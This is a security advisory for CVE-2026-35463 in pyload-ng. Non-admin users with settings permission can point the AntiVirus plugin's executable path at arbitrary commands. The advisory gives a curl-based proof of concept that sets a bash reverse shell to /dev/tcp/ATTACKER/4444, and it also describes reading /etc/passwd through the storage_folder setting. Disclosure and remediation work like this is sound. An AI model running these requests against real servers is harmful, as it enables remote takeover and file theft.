PT-2026-30340 · Pypi · Pyload-Ng
Published
2026-04-04
·
Updated
2026-04-04
·
CVE-2026-35463
CVSS v3.1
8.8
High
| AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Summary
The
ADMIN ONLY OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.Details
Safe wrapper —
ADMIN ONLY OPTIONS (core/api/ init .py:225-235):ADMIN ONLY OPTIONS = {
"reconnect.script", # Blocks script path change
"webui.host", # Blocks bind address change
"ssl.cert file", # Blocks cert path change
"ssl.key file", # Blocks key path change
# ... other sensitive options
}
Where it IS enforced — core config (core/api/ init .py:255):
def set config value(self, section, option, value):
if f"{section}.{option}" in ADMIN ONLY OPTIONS:
if not self.user.is admin:
raise PermissionError("Admin only")
# ...
Where it is NOT enforced — plugin config (core/api/ init .py:271-272):
# Plugin config - NO admin check at all
self.pyload.config.set plugin(category, option, value)
Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):
def scan file(self, file):
avfile = self.config.get("avfile") # User-controlled via plugin config
avargs = self.config.get("avargs")
subprocess.Popen([avfile, avargs, target]) # RCE
PoC
# As non-admin user with SETTINGS permission:
# 1. Set AntiVirus executable to a reverse shell
curl -b session cookie -X POST http://TARGET:8000/api/set config value
-d 'section=plugin'
-d 'option=AntiVirus.avfile'
-d 'value=/bin/bash'
curl -b session cookie -X POST http://TARGET:8000/api/set config value
-d 'section=plugin'
-d 'option=AntiVirus.avargs'
-d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# 2. Enable the AntiVirus plugin
curl -b session cookie -X POST http://TARGET:8000/api/set config value
-d 'section=plugin'
-d 'option=AntiVirus.activated'
-d 'value=True'
# 3. Add a download - when it completes, AntiVirus.scan file() runs the payload
curl -b session cookie -X POST http://TARGET:8000/api/add package
-d 'name=test'
-d 'links=http://example.com/test.zip'
# Result: reverse shell as the pyload process user
Additional Finding: Arbitrary File Read via storage folder
The
storage folder validation at core/api/ init .py:238-246 uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting storage folder=/ combined with GET /files/get/etc/passwd gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.Impact
- Remote Code Execution — Non-admin user can execute arbitrary commands via AntiVirus plugin config
- Privilege escalation — SETTINGS permission (non-admin) escalates to full system access
- Arbitrary file read — Via storage folder manipulation
Remediation
Apply
ADMIN ONLY OPTIONS to plugin config as well:# In set config value():
ADMIN ONLY PLUGIN OPTIONS = {
"AntiVirus.avfile",
"AntiVirus.avargs",
# ... any plugin option that controls executables or paths
}
if section == "plugin" and option in ADMIN ONLY PLUGIN OPTIONS:
if not self.user.is admin:
raise PermissionError("Admin only")
Or better: validate that
avfile points to a known AV binary before passing to subprocess.Popen().Fix
OS Command Injection
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Pyload-Ng